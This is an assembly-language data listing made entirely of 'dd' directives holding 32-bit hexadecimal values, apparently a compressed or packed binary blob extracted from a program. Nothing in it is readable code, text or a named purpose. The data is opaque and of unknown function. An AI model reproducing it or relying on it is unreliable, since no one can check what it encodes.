dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h
dd 2ADF90C2h, 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h
dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h
dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh
dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh
dd 592EC49h, 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h
dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh
dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h
dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h
dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h
dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h
dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh
dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh
dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h
dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h
dd 9F000C6h, 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h
dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah
dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h
dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h
dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h
dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h
dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h
dd 44D12D1h, 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h
dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h
dd 74532F85h, 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh
dd 4717CDC0h, 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h
dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh
dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h
dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h
dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h
dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh
dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h
dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h
dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h
dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h
dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh
dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh
dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h
dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh
dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h
dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h
dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh
dd 0D88CC364h, 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h
dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h
dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h
dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h
dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h
dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h
dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh
dd 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh
dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh
dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh
dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h, 95840046h
dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh
dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h
dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h
dd 0C9311EFCh
dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch
dd 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h
dd 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h
dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h
dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh
dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h
dd 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h, 8980B0A2h
dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h
dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h
dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh
dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h
dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h
dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h
dd 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah, 3B94980Bh
dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h, 71174606h
dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h
dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh
dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h
dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh, 49CF5C1Fh
dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h
dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h, 0CA529C00h
dd 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h, 0AF880807h
dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h
dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh
dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h, 0DE019A5Dh
dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch
dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh, 0EF1E200Dh
dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh, 6600A5F3h
dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h
dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h
dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h
dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh
dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch
dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh
dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh
dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h
dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h
dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh
dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh
dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh
dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h, 94EF0361h
dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h
dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h
dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h
dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh
dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h
dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h
dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh, 0C80A91D9h
dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h
dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h, 0E48C01AFh
dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h, 0FA80DC01h
dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h
dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh
dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h
dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh
dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h
dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh
dd 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah, 0B4F845B7h
dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch
dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah
dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h
dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h
dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h
dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h, 2714914Fh
dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h
dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h
dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h, 0D98F04ECh
dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh
dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh
dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h
dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh
dd 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h, 0AC318Bh
dd 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h
dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh
dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h
dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h
dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh
dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h
dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h
dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h
dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h
dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h
dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h
dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h
dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh
dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h
dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
dd 48CD0076h, 9559B745h
dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh
dd 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h, 107EBh, 3A740472h
dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah
dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h
dd 20E6305h, 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh
dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh
dd 4A97892Bh, 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh
dd 4B7E0D0h, 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h
dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh
dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h
dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h
dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h
dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh
dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h
dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h
dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h
dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h
dd 1326FE9h, 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh
dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h
dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h
dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah
dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h
dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h
dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h
dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh
dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh
dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h
dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h
dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh
dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h
dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h
dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh
dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h
dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh
dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h
dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h
dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh
dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h
dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah
dd 5161DA4Bh, 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh
dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch
dd 0D37330h, 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh
dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h
dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h
dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h
dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h
dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h
dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch
dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h
dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h
dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h
dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh
dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h
dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h
dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h
dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h
dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h
dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh
dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h
dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh
dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h
dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh, 32037273h
dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h
dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h
dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h
dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h
dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh
dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h
dd 53449FD0h, 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h
dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh
dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh
dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h
dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch
dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh, 28393A29h
dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h
dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h
dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h
dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh
dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h
dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h
dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh
dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h
dd 2E03117h, 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh
dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h
dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h
dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h
dd 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h
dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh
dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h
dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h
dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h
dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh
dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h
dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch
dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h
dd 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h
dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h
dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h
dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h
dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh
dd 17039A7Eh
dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h
dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h
dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah, 0EDE7C1F9h
dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h
dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh
dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h
dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h
dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h, 200758C4h
dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h
dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h
dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h
dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h
dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah
dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh, 53012910h
dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h, 29206A15h
dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h
dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h
dd 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h, 2AB47023h
dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh
dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h, 0AA4D3B21h
dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h, 0E2C78E21h
dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h
dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h
dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh
dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h
dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h, 437C9C00h
dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h
dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h, 275FC4F7h
dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh
dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h
dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h
dd 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h, 0B8278000h
dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h
dd 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch, 50EF4000h
dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h
dd 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h, 8901ABCDh
dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h, 9300ACE1h
dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h
dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh
dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh
dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h
dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h, 7B816A09h
dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h
dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h
dd 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch
dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h
dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h
dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh
dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h
dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h
dd 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h, 0F87C7E0Fh
dd 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h, 4BE2600h
dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h
dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h
dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h
dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh
dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h
dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h
dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h
dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h
dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h
dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h
